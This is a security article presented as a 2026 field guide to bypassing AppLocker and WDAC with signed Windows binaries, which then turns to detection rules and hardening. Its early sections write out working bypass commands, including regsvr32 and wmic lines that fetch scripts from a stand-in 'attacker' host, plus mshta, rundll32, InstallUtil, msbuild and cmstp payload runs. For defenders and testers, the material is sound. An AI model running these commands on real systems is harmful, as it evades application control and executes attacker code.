Bypassing AppLocker and WDAC with LOLBins: A 2026 Field Guide

Last updated: April 26, 2026

AppLocker and WDAC (Windows Defender Application Control) are Microsoft’s flagship application-control technologies. Configured well, they make a Windows host genuinely hard to compromise post-execution. Configured badly — and they almost always are — they leak through Living-Off-the-Land Binaries (LOLBins) that ship with Windows. This article is a 2026 field guide: which LOLBins still work, why bypasses persist, how to detect them, and what a real lockdown looks like.

What AppLocker actually does

AppLocker is a policy engine that decides whether a process is allowed to execute based on rules — typically file path, file publisher, or file hash. It is enforced by the Application Identity service. WDAC is the modern successor, kernel-enforced via code-integrity policies, much harder to bypass — when configured.

The default rules ship from Microsoft and look reasonable: allow signed code from trusted publishers, block everything else. But the practical configuration in most enterprises is one of:

• Audit-only mode (logs, does not block)
• Allow-everything-in-Program-Files (path-based rule with broad Trust)
• Allow-everything-signed-by-Microsoft (publisher rule trusting the entire Microsoft cert)

Each of these creates LOLBin opportunity.

The classic LOLBin bypass list

Microsoft signs hundreds of binaries that ship with Windows. Many of them can execute arbitrary code, payloads, or scripts. The community catalogue lives at LOLBAS Project. The greatest hits in 2026:

InstallUtil

InstallUtil.exe is the .NET install utility. It loads .NET assemblies and runs methods marked with the RunInstaller attribute. Pointing it at a malicious DLL bypasses AppLocker because InstallUtil itself is signed by Microsoft.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U c:\temp\payload.dll

regsvr32 / scrobj.dll (Squiblydoo)

The 2016 Casey Smith original. Loads a remote XML/SCT file via COM scriptlet:

regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll

Still works in 2026 because regsvr32 is core Windows, can never be blocked, and many AppLocker policies do not have script rules enabled.

mshta

HTML Application host. Executes JavaScript or VBScript embedded in HTA files, including inline:

mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)

rundll32

Loads any DLL and calls an exported function. Commonly used with JavaScript: protocol handler or with COM-object DLL classes:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd")

msbuild

The .NET build engine. Compiles and runs C# inline from an XML project file. AppLocker rarely blocks msbuild.exe because developers need it.

msbuild C:\temp\payload.xml

Where payload.xml contains a project with an inline UsingTask referencing C# source code that runs on build.

cmstp

Connection Manager profile installer. Reads INF files; INF files can have RunPreSetupCommandsSection directives that execute commands.

cmstp.exe /au C:\temp\setup.inf

wmic format with XSL

WMIC can be told to format output through an XSL stylesheet that contains script:

wmic process get brief /format:"http://attacker/evil.xsl"

Why these still work in 2026

Most enterprise AppLocker policies use the default-allow-Program-Files-and-Windows model. InstallUtil, regsvr32, mshta, rundll32, msbuild, cmstp, wmic all live in C:\Windows\System32 or C:\Windows\Microsoft.NET. They are inherently allowed.

WDAC done well closes most of these gaps because it can match on individual file paths and even individual function-level constraints. But WDAC is far harder to deploy and maintain than AppLocker, so most enterprises stop at AppLocker.

Modern bypasses you should know

WDAC bypass via Ligolo and SOCKS proxying

If WDAC blocks lateral execution but allows network ingress, Ligolo establishes a tunnel that lets you proxy from outside the host. Useful when you have a constrained foothold — landing payload happens elsewhere; only network traffic crosses WDAC’s policy.

HTML smuggling

Embed a malicious file (a .ZIP containing a payload) inside an HTML page using JavaScript Blob API. The user opens the page locally; the JavaScript reconstructs the file in browser memory and triggers a download. The download originates locally, not from the network — bypassing many web-content filters.

Process Herpaderping / Doppelgänging / Hollowing / Ghosting

These are process-creation manipulation techniques. They start a benign process, then swap its memory image with malicious code before execution suspends. Different variants exploit different Windows process-creation primitives. They bypass AV/EDR signature matching because the on-disk file remains benign.

Indirect command execution

Microsoft tools like forfiles, pcalua.exe, scriptrunner.exe, vsjitdebugger.exe all spawn child processes. AppLocker rules that allow these (often to permit legitimate developer tools) effectively allow anything.

Detection — what works

AppLocker generates Event Logs in Microsoft-Windows-AppLocker/EXE and DLL when blocking happens (Event ID 8004). Audit-mode generates Event ID 8003. Most enterprises run audit mode and ignore the events.

Process-creation telemetry from Sysmon Event ID 1 captures every binary launch with full command line. The signal is rich:

• InstallUtil with /U flag on a .NET DLL outside install context — never legitimate.
• regsvr32 fetching from HTTP — the scrobj.dll + URL pattern.
• rundll32 with JavaScript: protocol in command line — never legitimate.
• mshta with javascript: or vbscript: protocol inline in command line — almost never legitimate.
• msbuild compiling files outside Visual Studio context on non-developer machines.
• wmic /format with HTTP URL — never legitimate.
• Process creation chain anomaly — Excel spawning rundll32 spawning powershell. Each link is suspicious; the chain is diagnostic.

Sigma rules for these patterns are mature; they exist in every public Sigma repo. Deploying them in your SIEM is mostly an integration project, not a research one.

The actual fix

Application control done well requires you to do the following, in this order:

1. Move from AppLocker to WDAC as the strategic platform. AppLocker is in maintenance mode; WDAC is where Microsoft is investing.
2. Use a managed installer / signed-by-known-developer policy where possible — Intune-managed deployments, SCCM, internal CA — so user-installed software is identified by signature, not allow-listed by path.
3. Block the high-value LOLBins — InstallUtil, regsvr32, mshta, cmstp, msbuild — at the policy level for non-developer hosts. Most user populations do not need these to do their jobs.
4. Enable Constrained Language Mode (CLM) in PowerShell for non-developer hosts. CLM blocks .NET reflection, COM, and dangerous cmdlets — neutralising many LOLBin chains that pivot through PowerShell.
5. Deploy AMSI integration with EDR — gives runtime visibility into in-memory script execution that LOLBins typically use.
6. Detect, do not just block — even with WDAC enforcing, log every block event and triage. Attempts to bypass are intelligence about ongoing attacker activity.

How to find your next bypass

For attackers:

• Catalogue the AppLocker policy XML on a target host: Get-AppLockerPolicy -Effective -Xml. The allowed paths are your map.
• Run lolbas-project.github.io through the lens of the policy: which Microsoft binaries are allowed and have execution-coercion vectors?
• If WDAC is enforced, look for LOLBins that meet WDAC’s “allow signed by Microsoft” rule but have execution sinks. scriptrunner.exe, vsjitdebugger.exe — Microsoft signed, broadly allowed, can execute children.

For defenders:

• Deploy AaronLocker or WDAC’s reference policy as a starting point — these explicitly block known LOLBin paths.
• Roll out in audit mode for 30 days; review what tries to execute; tune; flip to enforce.
• Build SIEM alerts for the Sysmon-detected anomalies above. Even if blocked, alert.

Compliance angle

• SEBI CSCRF — MITRE T1218 (System Binary Proxy Execution) is part of the expected detection coverage for Q-RE and MII.
• RBI — endpoint protection baseline expects allow-listing or equivalent on critical hosts.
• ISO 27001:2022 A.8.7 — protection against malware; allow-listing is one of the recognised controls.

The takeaway

Application control is one of the highest-leverage controls a Windows-heavy environment can deploy. AppLocker poorly configured is theatre. WDAC done well is one of the few controls that actually changes attacker dwell time meaningfully. The work is in operational discipline — policy authoring, exception management, telemetry-driven tuning — not in technology purchasing. The next pentest you run that does not bypass your application control is a real defensive milestone. Most environments are still measuring time-to-bypass in single-digit minutes.